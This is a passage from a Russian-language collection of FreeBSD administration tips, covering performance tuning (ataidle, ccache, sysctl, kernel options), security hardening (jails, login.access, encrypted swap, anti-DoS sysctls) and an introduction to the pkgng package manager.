       193 Load_Cycle_Count 0x0012 097 097 000 Old_age Always - 37606
    
    Последнее число в этой строке - это количество парковок. Выполните эту команду несколько раз 
    с перерывом в несколько секунд. Если число растет - значит, проблема на лицо.
    
    Во FreeBSD эта проблема решается с помощью утилиты ataidle (sysutils/ataidle в портах).
    
    Выполните команду:
    
       ataidle -P 254 /dev/ad4
    
    (измените ad4 на название вашего винчестера)
    
    Параметр -P управляет питанием винчестера. Значение 254 означает режим
    максимальной производительности.
    В этом режиме энергия не экономится и головки не паркуются. Желающие могут
    посмотреть значения других режимов в man ataidle.
    
    Чтобы эта команда выполнялась автоматически при загрузке, нужно добавить
    следующие строки в файл /etc/rc.conf:
    
       ataidle_enable="YES"
       ataidle_devices="ad4"
       ataidle_ad4="-P 254"
    
     
    ----* Увеличение скорости пересборки FreeBSD при помощи CCACHE  (доп. ссылка 1)   [комментарии]
     
    Ccache позволяет увеличить скорость повторной сборки программы за счет
    кэширования промежуточных данных.
    
    Во FreeBSD ccache можно установить из портов:
    
       cd /usr/ports/devel/ccache && make install clean
    
    Далее включаем ccache при сборке системы, в /etc/make.conf добавляем:
    
       .if !defined(NO_CACHE)
         CC=  /usr/local/libexec/ccache/world-cc
         CCX= /usr/local/libexec/ccache/world-c++
       .endif
    
       .if ${.CURDIR:M*/ports/devel/ccache}
         NO_CCACHE= yes
       .endif
    
    Конфигурируем ccache через переменные окружения, в .cshrc добавляем:
    
       setenv PATH /usr/local/libexec/ccache:$PATH
       setenv CCACHE_PATH /usr/bin:/usr/local/bin
       setenv CCACHE_DIR /var/tmp/ccache
       setenv CCACHE_LOGFILE /var/log/ccache.log
    
       if ( -x /usr/local/bin/ccache ) then
         /usr/local/bin/ccache -M 512m > /dev/null
       endif
    
    Через опцию "-M" мы определили максимальный размер кэша (по умолчанию 1Гб),
    кэш будет размещен в /var/tmp/ccache (по умолчанию в /root/.ccache)
    
    Состояние кэша можно посмотреть командой:
    
       ccache -s
    
    При повторном выполнении make buildworld, время сборки с ccache  уменьшилось в 4 раза.
    Для еще большего увеличения скорости кэш рекомендуется расширить до 4 Гб.
    
    Для индивидуальной отмены кэширования при сборке порта можно использовать:
    
       make NO_CACHE=yes install clean
    
     
    ----* Параметры распределение памяти для ядра FreeBSD (доп. ссылка 1)   Автор: Yar Tikhiy  [обсудить]
     
    Такой вопрос обычно возникает вслед за желанием оптимизировать распределение памяти в ядре.
    
    Для начала стоит понять, как в общем выглядит виртуальное адресное пространство
    FreeBSD. В его нижней части расположен текущий процесс,
    а верхнюю всегда занимает ядро. Отрезок виртуального адресного
    пространства, занятый ядром, -- kernel virtual memory (KVM) он же kernel
    virtual address space (KVA) -- ограничен адресами KERNBASE снизу и 
    VM_MAX_KERNEL_ADDRESS сверху. Эти величины меняются только от
    платформы к платформе, а vm.kvm_size возвращает их разность:
    
       vm.kvm_size = VM_MAX_KERNEL_ADDRESS - KERNBASE
    
    На живой машине ядро фиксирует конец используемой части KVM в
    переменной ядра kernel_vm_end. Отрезок от kernel_vm_end до
    VM_MAX_KERNEL_ADDRESS и есть свободная часть KVM:
    
       vm.kvm_free = VM_MAX_KERNEL_ADDRESS - kernel_vm_end
    
    Очевидно, что переменные vm.kvm_size и vm.kvm_free чисто
    информационные, настраивать их нельзя.
    
    В KVM есть участок, который ядро использует для динамического
    распределения памяти посредством malloc(9) и zone(9). Длина этого
    участка вычисляется при загрузке системы по формуле:
    
       vm.kmem_size = min(max(max(VM_KMEM_SIZE, Physical_memory / 
           VM_KMEM_SIZE_SCALE), VM_KMEM_SIZE_MIN), VM_KMEM_SIZE_MAX)
    
    Выглядит жутковато, но суть простая: vm.kmem_size_{min,max} задает
    диапазон для автонастройки, которая сводится к выбору большего из
    VM_KMEM_SIZE (это #define) и ОЗУ / vm.kmem_size_scale.
    
    Также можно жестко указать vm.kmem_size из loader.conf. Наконец, при
    любых настройках kmem_size не может быть более двух размеров ОЗУ.
    
    Обратите внимание, что kmem -- это участок виртуального адресного
    пространства, а не физической памяти. Именно поэтому ядро может
    упасть в панику "kmem_map too small", хотя ОЗУ еще в избытке, если
    какая-то из подсистем ядра пытается выделить слишком много памяти
    для своих нужд. Типичный пример этого -- виртуальный диск, созданный с
    помощью "mdmfs -M". 
    
     
    ----* Кэш TCP запросов во FreeBSD (доп. ссылка 1)   Автор: Антон Южанинов  [комментарии]
     
    Во FreeBSD 5 был добавлен TCP Hostcache - кэш, в котором сохраняются
    характеристики удаленных хостов
    от предыдущих соединений, для предварительной настройки новых подключений к этому же хосту. 
    Это позволяет увеличить скорость работы HTTP (и других протоколов с большим числом 
    котороткоживущих TCP соединений). 
    
    Иногда бывает полезно посмотреть его содержимое. 
    Увидеть его можно через sysctl net.inet.tcp.hostcache.list Просмотр информации по заданному хосту: 
    
       sysctl net.inet.tcp.hostcache.list | egrep '(IP|192.168.1.70)'
    
    Например если MTU в кеше не равно нулю, то с помощью Path MTU
     Discovery для данного хоста было определено MTU меньшее чем у данного хоста. 
    
    Просмотр состояние и параметров hostcache: 
    
       sysctl net.inet.tcp.hostcache
    
    При тестировании производительности бывает нужно очищать этот кэш, между
    различными итерациями теста,
    чтоб он не искажал результаты. Сделать это можно так: 
    
       sysctl net.inet.tcp.hostcache.purge=1
    
    Потом подождать до тех пор, пока net.inet.tcp.hostcache.purge снова не будет показывать ноль.
    
     
    ----* Работа процессов размером более 512Мб во FreeBSD   Автор: MicRO  [комментарии]
     
    Во FreeBSD 6.2 с 4Гб ОЗУ, процесс python'a виснет когда занимает более 512Мб.
    
    Решение:
    В /boot/loader.conf добавляем
       kern.maxdsiz="2610612736"
       kern.dfldsiz="2610612736"
       kern.maxssiz="2610612736"
    
    После чего процесс начинает работать в штатном режиме.
    
     
    ----* Как избавится от роста висящих FIN_WAIT_2 соединений под FreeBSD   [комментарии]
     
    Если используется ipfw2 и keep-state правила, то от непрерывного роста 
    соединений со статусом FIN_WAIT_2 помогает:
       sysctl -w net.inet.ip.fw.dyn_keepalive=0
    
     
    ----* Как увеличить производительность memcached под FreeBSD (доп. ссылка 1)   Автор: fak3r  [комментарии]
     
    Под FreeBSD наблюдаются проблемы производительности при работе
    memcached с объектами размером больше чем несколько килобайт.
    
    Переходим в порт memcached
       cd /usr/ports/databases/memcached/ 
       make configure
    
    Редактируем файл memcached.c
       vi work/memcached-1.1.12/memcached.c
    
    Находим строку #include "memcached.h" и после нее прописываем TCPNOPUSH 
    (заставляет использовать TCPNODELAY):
       #undef TCP_NOPUSH
    
    Устанавливаем и запускаем:
       make install
       echo "memcached_enable=\"YES\"" >> /etc/rc.conf
       /usr/local/etc/rc.d/memcached.sh start
    
     
    ----* Некоторые полезные sysctl переменные для FreeBSD (доп. ссылка 1)   [комментарии]
     
  • security.bsd.* - управление моделью безопасности
    • security.bsd.see_other_uids, security.bsd.see_other_gids - если 1, то пользователи (группы) могут видеть чужие процессы, сокеты и т.д. через ps, netstat, procfs;
    • security.bsd.conservative_signals - если 1, то некоторые сигналы запрещается посылать setuid/setgid процессам;
    • security.bsd.unprivileged_proc_debug - если 1, то пользовательский процесс можно отлаживать через ptrace, procfs, ktrace и т.д..
    • security.bsd.unprivileged_read_msgbuf - если 1, то пользовательский процесс может читать из системного консольного буфера сообщений;
    • security.bsd.hardlink_check_uid, security.bsd.hardlink_check_gid - если 1, то пользователи могут делать hardlink только на собственные файлы;
    • security.bsd.unprivileged_get_quota - если 1, пользователи могут просматривать информацию по установленным для них квотам.
    • vfs.usermount - если 1, то непривилегированный пользователь может монтировать и размонтировать FS, если для устройства выставлены "rw" права и пользователь является владельцем точки монтирования;
  • security.jail.* - ограничения для jail
    • security.jail.set_hostname_allowed - если 1, то внутри jail можно поменять имя хоста;
    • security.jail.socket_unixiproute_only - если 1 , то сокет в jail можно создать только для доменов PF_LOCAL, PF_INET или PF_ROUTE, иначе, возвращается ошибка;
    • security.jail.sysvipc_allowed - если 1, то то в jail можно получить доступ к глобальному System V IPC;
    • security.jail.getfsstatroot_only - если 1, то в jail можно получить информацию (df)только о той файловой системе на которой создан jail;
    • security.jail.allow_raw_sockets - если 1, то в jail можно создавать raw sockets;
    • security.jail.chflags_allow - если 1, то процессы в jail могут модифицировать флаги ФС.
  • IPFW
    • net.link.ether.bridge_ipfw - если 1 и ядро собрано с опциями IPFIREWALL и BRIDGE, то позволяет использовать ipfw для трафика внутри бриджа;
    • net.link.ether.ipfw - если 1, то ipfw2 позволяет фильтровать по MAC адресам;
    • net.inet.ip.fw.autoinc_step - задается число на которое увеличивается счетчик при добавления нового ipfw правила, когда явно не указан его номер;
    • net.inet.ip.fw.debug - если 1, то в логи помещается дополнительная отладочная информация по работе ipfw;
    • net.inet.ip.fw.verbose - если 0, то не отображать работу "log" правил в syslog;
    • net.inet.ip.fw.one_pass - если 1, то просмотр правил ipfw прекращается сразу после подпадание под queue или pipe правило. Если 0, то продолжается обработка далее идущих правил;
  • ICMP, соединение.
    • net.inet.icmp.icmplim - задается максимальное число ICMP "Unreachable" и TCP RST пакетов, которое может быть отправлено в секунду, net.inet.icmp.icmplim_output=0 позволяет не отражать в логах факты превышения лимита;
    • net.inet.tcp.icmp_may_rst, если 1, то TCP соединения со статусом SYN_SENT, могут быть оборваны посредством сообщения "ICMP unreachable";
    • net.inet.ip.redirect - если 0, то нет реакции на ICMP REDIRECT пакеты;
    • net.inet.icmp.log_redirect - если 1, то все ICMP REDIRECT пакеты отражаются в логе;
    • net.inet.icmp.drop_redirect - если 1, то ICMP REDIRECT пакеты игнорируются;
    • net.inet.tcp.icmp_may_rst - если 1, то игнорируются ICMP сообщения от блокировки пакета по пути;
    • net.inet.icmp.bmcastecho - для защиты от SMURF атак (ICMP echo request на broadcast адрес) нудно поставить 0;
  • Тюнинг сетевой подсистемы, борьба с DoS атаками
    • net.inet.tcp.log_in_vain, net.inet.udp.log_in_vain - если 1, отражаем в логе попытки соединения к портам, для которых нет активных сервисов;
    • net.inet.tcp.blackhole - если 1, то SYN пакеты пришедшие на порты для которых нет активных сервисов, остаются без RST ответа, если 2, то на любые пакеты нет ответа (затрудняет сканирования портов);
    • kern.ipc.nmbclusters - если по "netstat -m" mbufs в "peak" приближается к "max", то число сетевых буферов нужно увеличить (kern.ipc.nmbclusters=N в /boot/locader.conf);
    • net.inet.ip.forwarding - если 1, то машина может форвадить пакеты между интерфейсами;
    • net.inet.tcp.sack.enable - если 1, то включен TCP Selective Acknowledgements (SACK, RFC 2018) позволяющий увеличить производительность системы в ситуации большой потери пакетов;
    • net.link.ether.inet.max_age - время жизни записи в IP route кэше, рекомендуется уменьшить для ослабления эффекта от DoS атак через ARP флуд;
  • Оборудование и системная информация
    • dev.cpu.0.freq_levels - выдает список поддерживаемых частот, на которые можно переключить CPU, путем указание нужной частоты через dev.cpu.0.freq;
    • hw.snd.maxautovchans, hw.snd.pcm0.vchans - задается число виртуальных звуковых каналов, для каждого из которых может быть отдельный источник звука (на выходе они будут смикшированы);
    • kern.boottime - время последней загрузки системы;
    • kern.disks - список дисков в системе;
    • kern.geom.debugflags, для работы boot0cfg и подобных утилит нужно установить в 16;
  • Изменение и тюнинг системных ограничений
    • kern.coredump - если 0, то при крахе приложения не будут создаваться core файлы, формат имени и путь для которых задается через kern.corefile (например: /tmp/%U.%N.core). kern.sugid_coredump=0 позволяет запретить генерацию core suid/sgid процессами;
    • kern.maxfiles - максимально допустимое число открытых файлов (файловых дескрипторов), текущее число открытых файлов можно посмотреть через kern.openfiles;
    • kern.maxprocperuid - максимально допустимое число процессов, которое может быть запущено из-под одного пользователя;
    • kern.maxvnodes - максимальное число vnode для кеширования дисковых операций, текущее значение можно посмотреть через vfs.numvnodes или debug.numvnodes/debug.freevnodes;
  • SMP (FreeBSD 5)
    • kern.smp.maxcpus (machdep.smp_cpus) - максимальное число процессоров, поддерживаемое текущей сборкой ядра;
    • kern.smp.active, kern.smp.disabled - число активных и выключенных CPU;
    • kern.smp.cpus (machdep.smp_active) - сколько CPU в online;
    • kern.smp.forward_signal_enabled - включить возможность мгновенной пересылки сигнала для процессов выполняемых в данный момент времени на разных CPU;
    • kern.smp.forward_roundrobin_enabled;
  • ARP
    • net.link.ether.inet.log_arp_movements - отражать в логе все широковещательные ARP пакеты с хостов MAC адрес которых отсутствует в локальном ARP кэше;
    • net.link.ether.inet.log_arp_wrong_iface - отражать в логе все ARP пакеты пришедшие с неправильного интерфейса;
  •  
    ----* Включение Device Polling в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man polling - периодических опрос состояния ядром, вместо генерации прерываний 
    (полезно при очень большом числе пакетов проходящих через сетевую карту), 
    возможен комбинированный вариант, когда polling включается при преодалении
    определенного порога нагрузки).
    В конфигурации ядра
       options DEVICE_POLLING
       options HZ=1000
    Далее:
       sysctl kern.polling.enable=1
       sysctl kern.polling.user_frac=50
    
     
    ----* Как оценить величину трафика и состояние системы в динамике для FreeBSD   [комментарии]
     
    Динамика изменения параметров:
    
       netstat -w 1
       iostat -w 1
       vmstat -w 1
       gstat
    
    Состояние буферов:
    
       vmstat -z
       netstat -m
       netstat -Lan
       netstat -s -p tcp
    
     
    ----* Как под FreeBSD создать файловую систему в памяти (ramdisk)   [комментарии]
     
    man mount_mfs
       mount_mfs -s 614400 /dev/amrd0s1b /usr/obj
    где /dev/amrd0s1b - swap раздел, 614400 - размер MFS диска N*1024*2 (614400 == 300mb).
    
     
    ----* Что изменить в настройках конфигурации ядра FreeBSD для нагруженного сервера.   [комментарии]
     
      maxusers 512
      options  NMBCLUSTERS=16786
      options  NBUF=2048
      options  CHILD_MAX=512
      options  OPEN_MAX=512
      options  "MAXDSIZ=(512*1024*1024)"
      options  "DFLDSIZ=(128*1024*1024)"
      options  IPFIREWALL
      options  IPFIREWALL_FORWARD
      options  IPFIREWALL_DEFAULT_TO_ACCEPT
      options  SOFTUPDATES
    
     
    ----* Как в FreeBSD посмотреть состояние системных буферов   [обсудить]
     
    sysctl vm.zone
    
     
    ----* Как включить Soft-updates в FreeBSD для увеличения производительности   [комментарии]
     
    1. Перейти в single режим
    2. Убедится, что раздел диска размонтирован.
    3. tunefs -n enable раздел (например, tunefs -n enable /usr )
    
     
    ----* Как в FreeBSD узнать значения LoadAverage, объем свободного ОЗУ и т.д.   [комментарии]
     
    sysctl vm.stats.vm.v_active_count
    sysctl vm.stats.vm.v_inactive_count
    sysctl vm.stats.vm.v_wire_count
    sysctl vm.stats.vm.v_cache_count
    sysctl vm.stats.vm.v_free_count
    sysctl vm.stats.vm.v_page_count
    более подробно: 
    	sysctl -a|grep vm
    	sysctl| less
    
     
    ----* Как узнать аппаратную конфигурацию (ОЗУ, CPU и т.д.) машины под FreeBSD   [комментарии]
     
    sysctl -a | grep hw
    
     
    ----* Как увеличить производительность дисковой подсистемы FreeBSD.   [комментарии]
     
    По умолчанию запись на диски в FreeBSD производится в синхронном режиме,
    значительно увеличить скорость записи
     можно активировав асинхронный режим: В /etc/fstab в поле Options добавить async (например rw,async).
    Или для примонтированного раздела: mount -u -o async /home
    Для увеличения производительности IDE дисков, в файле конфигурации ядра можно
    указать для wdc устройств
    flags 0xa0ffa0ff или 0x80ff80ff (подробнее man wd, man ad).
    Для ad: sysctl hw.atamodes; sysctl hw.ata
    Например: sysctl hw.atamodes=pio,pio,---,dma,pio,---,dma,---,
    См. также man atacontrol 
    Третий вариант - активировать в настройках ядра SOFTUPDATES и запустить 
    tunefs -n enable /usr в single-user на размонтированном разделе.
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Решение проблемы при отказе работы Skype за шлюзом с изменённым TCP MSL   Автор: Крепышик  [комментарии]
     
    Есть несколько офисов, выходящих в интернет через шлюз с FreeBSD + ipfw +
    ipnat. После тюнинга сетевой подсистемы шлюза перестал работать скайп во вне. С
     внутриофисными контактами связь работала видимо потому что скайп соединяется
    напрямую с ними.
    
    В результате поиска причины - выяснилось что виной тому была переменная sysctl:
    
       net.inet.tcp.msl=5000 
    
    время которое соединение может пребывать в состоянии TIME_WAIT. (T = msl*2/1000 секунд) 
    
    После возврата на исходное значение 30000 (T=60 сек.) Skype снова заработал.
    
     
    ----* Что имеет смысл поменять через sysctl в FreeBSD   [комментарии]
     
    /sbin/sysctl -w net.inet.ip.forwarding=0
    /sbin/sysctl -w net.inet.tcp.always_keepalive=1
    /sbin/sysctl -w kern.ipc.somaxconn=1024
    /sbin/sysctl -w net.inet.tcp.delayed_ack=0
    /sbin/sysctl -w net.inet.ip.portrange.last=30000
    /sbin/sysctl -w net.inet.tcp.sendspace=131072 # подогнать размер под средний
    объем блока передаваемых данных. 131072 - для отдачи больших файлов.
    /sbin/sysctl -w net.inet.tcp.recvspace=131072 # подогнать размер под средний
    объем блока принимаемых данных. 131072 - для приема больших файлов.
    #/sbin/sysctl -w net.inet.tcp.rfc1644=1
    #/sbin/sysctl -w net.inet.tcp.rfc1323=0
    #/sbin/sysctl -w net.inet.icmp.drop_redirect=1
    #/sbin/sysctl -w net.inet.icmp.log_redirect=1
    #/sbin/sysctl -w net.inet.ip.redirect=0
    #/sbin/sysctl -w net.inet6.ip6.redirect=0
    /sbin/sysctl -w net.link.ether.inet.max_age=1200
    /sbin/sysctl -w net.inet.ip.sourceroute=0
    /sbin/sysctl -w net.inet.ip.accept_sourceroute=0
    /sbin/sysctl -w net.inet.icmp.bmcastecho=0
    /sbin/sysctl -w net.inet.icmp.maskrepl=0
    
     

       Увеличение безопасности FreeBSD

    ----* Быстрое создание jail-машины во FreeBSD (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Нам понадобится первый установочный диск FreeBSD 6.2 и немного свободного времени. 
    Предполагается что наша jail-машина будет размещена в директории /var/jail.
    
    Список действий:
    
    1. Создать директорию /var/jail/machine для jail-машины;
    
    2. Смонтировать установочный диск и распаковать базовые файлы в директорию jail-машины:
    
       # mount /cdrom
    
    для bash:
    
       # DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    для csh:
    
       # env DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    3. Создать пустой файл /var/jail/machine/etc/fstab:
    
       # touch /var/jail/machine/etc/fstab
    
    4. Создать файл /var/jail/machine/etc/rc.conf со следующим содержанием:
    
       # Запускаем sshd
       sshd_enable="YES"
       sendmail_enable="NONE"
       syslogd_flags="-ss"
       rpcbind_enable="NO"
       network_interfaces=""
    
    5. Теперь требуется создать непривилегированного пользователя и    изменить
    пароль пользователя root.
    Входим в каталог jail-машины
    
       # chroot /var/jail/machine /bin/csh
    
    Создаем пользователя
    
       # adduser
    
    Меняем пароль пользователя root
    
       # passwd
       # exit
    
    6. В файл /etc/rc.conf основной системы добавить:
    
       # Разрешаем запуск jail-машин
       jail_enable="YES"
       # Запрещаем им менять свое имя jail_set_hostname_allow="NO"
       # Перечисляем jail-машины в системе.
       jail_list="machine"
    
       # Jail-машина "machine"
       # Корневая директория jail_machine_rootdir="/var/jail/machine"
       # Имя jail_machine_hostname="machine.local"
       # IP-адрес jail_machine_ip="192.168.0.10"
       # На какой сетевой интерфейс будет цепляться jail-машина  
       jail_machine_interface="ed0"
       # монтируем файловую систему devfs внутри jail-машины. 
       jail_machine_devfs_enable="YES"
       # Скрипты запуска и останова 
       jail_machine_exec_start="/bin/sh /etc/rc"
       jail_machine_exec_stop="/bin/sh /etc/rc.shutdown"
    
    7. Кроме того требуется все запускаемые сервисы основной системы привязать к его ip-адресам 
    (не должны слушаться порты на ip-адресах jail-машин).
    Например, в rc.conf:
    
       # Супер-сервер inetd
       inetd_enable="YES"
       # Слушает порт только на 192.168.0.1
       inetd_flags="-wW -a 192.168.0.1"
       # Syslogd
       syslogd_enable="YES"
       # Не слушать порты
       syslogd_flags="-ss"
    
    8. Запускаем созданную jail-машину:
    
       # /etc/rc.d/jail start
    
     
    ----* Использование login.access в FreeBSD 5.x и 6.x   Автор: 135all  [обсудить]
     
    В FreBSD есть прекрасная возможность разрешать логинится конкретным пользователям 
    только с определённых терминалов или адресов. Делается это посредством модуля pam_acct_mgmt. 
    
    Для этого редактируем файл /etc/login.access:
    
       -:root:ALL #запрещаем любые логины root
       -:ALL:ttyv0 # первая консоль только для логов
       +:dm:ttyv1 ttyv2 ttyv3 ttyv4 ttyv5 ttyv6 ttyv7 ttyv8 # доступ с консоли
       +:dm:10.1.1.1 192.168.6.100 # доступ по сети(тут указывать либо ip, либо 
            # доменное имя. Для ssh рекомендую UseDNS no в /etc/ssh/sshd_config)
       -:ALL:ALL # всё остальное запрещено
    
    ВАЖНО! начиная с версии 5.2 su стал проверять "target user" по login.access, те
    при таких настройках
    можно будет залогинится, но su не будет работать - pam_login_access: 
       pam_sm_acct_mgmt: root is not allowed to log in on /dev/ttyp3 su: Sorry. 
    
    Для исправления надо редактировать /etc/pam.d/su:
    
       account
       #account                include         system #закомментировать
       account         required        pam_unix.so # добавить
    
     
    ----* Шифрованный swap в FreeBSD 6.0   Автор: neozoid  [комментарии]
     
    Добавить в /boot/loader.conf:
       geom_eli_load="YES"
    
    или в конфиг ядра:
       device crypto
       options GEOM_ELI
    
    в fstab к разделу swap к "Device" дописать ".eli" например:
       # Device                Mountpoint      FStype  Options         Dump    Pass#
       #/dev/ad0s3b            none            swap    sw              0       0
       /dev/ad0s3b.eli         none            swap    sw              0       0
    
    при загрузке имеем:
       GEOM_ELI: Device ad0s3b.eli created.
       GEOM_ELI:     Cipher: AES
       GEOM_ELI: Key length: 256
       GEOM_ELI:     Crypto: software
    
    и в моем случае:
       %pstat -s
       Device          1K-blocks     Used    Avail Capacity
       /dev/ad0s3b.eli   1048576        0  1048576     0%
    
     
    ----* Как запретить создание символических линков в /tmp   [комментарии]
     
    FreeBSD: В графе "Option" /etc/fstab для раздела /tmp нужно указать:
       rw,noexec,nosuid,nodev,nosymfollow
    
    Для Linux: Openwall patch (http://openwall.com/) + CONFIG_SECURE_LINK + chmod +t /tmp
    
     
    ----* Как в FreeBSD включить Blowfish шифрование паролей вместо DES и MD5   [комментарии]
     
    В /etc/login.conf:  
    	:passwd_format=blf:\
    cap_mkdb /etc/login.conf
    
     
    ----* Как в FreeBSD запретить свободный вход как root с консоли через boot -s   [обсудить]
     
    В /etc/ttys поменяйте secure на insecure в строке:
         console none   unknown off secure
    
     
    ----* Предотвращение DoS атак в FreeBSD (доп. ссылка 1)   Автор: bsdportal.ru  [комментарии]
     
    * "sysctl -w net.inet.tcp.msl=7500" - время ожидания ACK в ответ на SYN-ACK или
    FIN-ACK в миллисекундах;
    * "sysctl -w net.inet.tcp.blackhole=2" -  все пакеты на закрытый порт
    отбрасываются без отсылки RST;
    * "sysctl -w net.inet.udp.blackhole=1" - отбрасывать пакеты для  закрытых портов;
    * "sysctl -w net.inet.icmp.icmplim=50" - защита от генерирование потока ответных пакетов, 
          максимальное количество  ICMP Unreachable и TCP RST пакетов в секунду;
    * "sysctl -w kern.ipc.somaxconn=32768" - увеличение числа одновременно открытых сокетов;
    * Сборка ядра с опцией DEVICE_POLLING (далее: sysctl kern.polling.enable=1;
    sysctl kern.polling.user_frac=50);
    
     

       Установка и апгрейд FreeBSD и приложений.

    ----* Решение проблемы при установке FreeBSD на HP (Compaq) ProLiant DL360   Автор: else  [комментарии]
     
    При установке ОС с диска во время определения дисков появляется ошибка 
    "BTX halted".
    Для ее устранения нужно отключить в BIOS опцию Virtual install disk.
    
     
    ----* Режим автоматической установки обновлений в portmaster   Автор: globus  [комментарии]
     
    При обновлении php на нескольких десятках серверов возникла проблема с ручным
    подтверждением операций. Обновление PHP потянуло за собой по 28-40
    обновлений/новых пакетов. В процессе обновления Portmaster постоянно
    спрашивает, удалять резервную копию предыдущего пакета или нет. Переключение по
    окнам между десятками серверов и нажатие кнопок n+enter существенно
    затормаживало процесс и изрядно выводило из себя.
    
    Вот пример команды с параметрами, которые позволяют автоматизировать процесс обновления:
    
       portmaster --no-confirm -y -b -d php pecl
    
    Само собой, "-y" или "-n" выбирает каждый для себя.
    
     
    ----* Использование пакетного менеджера PKGNG во FreeBSD (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    Не секрет что отсутствие в OS FreeBSD современного пакетного менеджера
    тормозит и сдерживает не только систему работы с портами, но и развитие
    системы в целом.
     Несомненно старый пакетный менеджер, написанный на СИ Джорданом Хаббардом,
    был революционным шагом в начале 90'ых, легкий, быстрый, надежный и простой.
    
     Но современные условия выдвигают новые требования, что и послужило
    толчком для создания нового пакетного менеджера и дабы прекратить споры
    и разногласия среди разработчиков и сообщества FreeBSD, которые
    ведутся на протяжении, примерно 10 лет или больше.
    
     Если кто-то решит что за это время можно было разработать несколько
    пакетных менеджеров, удовлетворяющих современным требованиям и
    тенденциям, возможно, но в рамках концепции развития проекта FreeBSD
    это, к сожалению, не так.
    
    прим: данное описание не претендует на серьезное руководство и может
    содержать повторы, точнее выжимки ранее изложенного в стиле "коротко"
     Суть - показать на примерах как лучше и удобней пользоваться
    новым пакетным менеджером PKGNG.
    
    Коротко о достижения пакетного менеджера PKGNG:
    
    - использование db для регистрации и хранения данных об
      установленных пакетах (sqlite)
    - использование одного или нескольких репозиториев
    - использование yaml для описания пакета
    - интерфейс для сторонних порт менеджеров
    - создание backup и отката
    - аудит
    - и тд и тп
    
    Ссылки:
    
      - http://wiki.freebsd.org/pkgng
      - http://wiki.freebsd.org/PkgPrimer
      - https://github.com/pkgng/pkgng/blob/master/FAQ.md
      - http://people.freebsd.org/~bapt/pres-pkgng-bsdcan.pdf
      - http://www.youtube.com/watch?v=4Hxq7AHZ27I
      - http://wiki.freebsd.org/pkgng
      - http://wiki.freebsd.org/PkgPrimer
      - https://github.com/pkgng/pkgng/blob/master/FAQ.md
      - http://people.freebsd.org/~bapt/pres-pkgng-bsdcan.pdf
      - http://www.youtube.com/watch?v=4Hxq7AHZ27I
    
    Сообщить об ошибках можно на github трекер:
      - http://github.com/pkgng/pkgng
    
    Третичный софт поддерживающий работу с новым пакетным менеджером pkgng:
    
    "из коробки":
    
      - ports-mgmt/portupgrade-devel (soon the main portupgrade will support)
      - ports-mgmt/pkg_cutleaves
      - ports-mgmt/poudriere
      - ports-mgmt/poudriere-devel
      - ports-mgmt/portdowngrade
      - ports-mgmt/tinderbox-devel (support can be improved)
      - ports-mgmt/portbuilder
      - sysutils/bsdstats
    
    используя патчи:
    
      - ports-mgmt/portmaster
        https://github.com/pkgng/pkgng/blob/master/ports/patch-portmaster-pkgng
    
    инструментарий который будет или уже поддерживает работу с pkgng:
    
      - salt support (in version 0.10)
        http://docs.saltstack.org/en/latest/ref/states/all/salt.states.pkgng.html
        и 
        http://docs.saltstack.org/en/latest/ref/modules/all/salt.modules.pkgng.html
      - cfengine support (http://unix-heaven.org/cfengine3-freebsd-pkgng)
      - puppet support: (https://github.com/xaque208/puppet-pkgng)
      - ruby bindings: (https://github.com/baloo/libpkg-ruby/)
      - PackageKit
    
     В системе, начиная с 9.1 находится пусковик /usr/sbin/pkg - который
    смотрит переменные PACKAGESITE,PACKAGEROOT и использует их для
    задания репозитория и запускает УСТАНОВКУ pkg (Bootsrapping) из портов.
    
     Если переменные не определены, использует заданные в pkg.conf
    или встренные в пусковик (/usr/src/usr.sbin/pkg/pkg.c):
    
       #define _LOCALBASE "/usr/local"
       #define _PKGS_URL "http://pkgbeta.FreeBSD.org"
    
       $PACKAGESITE/Latest/pkg.txz
    
    или
    
       $PACKAGEROOT/latest/Latest/pkg.txz
    
    или (pkg.conf)
     
       packagesite: http://pkgbeta.FreeBSD.org/freebsd:9:x86:64/latest
    
       /usr/ports/ports-mgmt/pkg
    
    для использования пакетного менеджера pkg, после его установки, необходимо
    добавить переменную WITH_PKGNG=yes в /etc/make.conf.
    
    Необходимо напомнить еще одно важное событие - изменение опций сборки
    в портах, точнее, создание нового фреймворка для портов - OPTIONSNG.
    
    скрипт:
    /usr/ports/Tools/scripts/options2ng.sh - создает backup OPTIONS
    базы портов (/var/db/ports) и конвертирует их в новый формат
    
    например:
    
    сконвертировать отдельный файл:
    
       # /usr/ports/Tools/scripts/options2ng.sh -f /tmp/make.conf
    
    создать /tmp/optionsbackup.tar.gz и сконфертировать все OPTIONS в
    /var/db/port*/options в новый формат:
    
       # /usr/ports/Tools/scripts/options2ng.sh -p
    
    Вы можете пропустить короткое описание фреймворка OPTIONSNG
    
    Немного о framework OPTIONSNG
    
    файл KNOB в портах - устаревшая технология, которая заменена на bsd.options.desc.mk.
    
    Ниже будет, возможно устаревшая информация основанная на материалах
    конференций:
    
    новый framework для указания опций сборок портов: OptionsNG Framework
    
    http://people.freebsd.org/~bapt/optionsng.pdf     (eurobsd conf 2011)
    http://people.freebsd.org/~bapt/pres-optionng.pdf (bsdcon 2012)
    
    актуальную информацию можно найти:
    
    http://wiki.freebsd.org/Ports/Options/OptionsNG
    http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/makefile-options.html#AEN2598
    
    текущие проблемы и несовместимость:
    
    - на текущий момент в опциях могут быть только две переменные
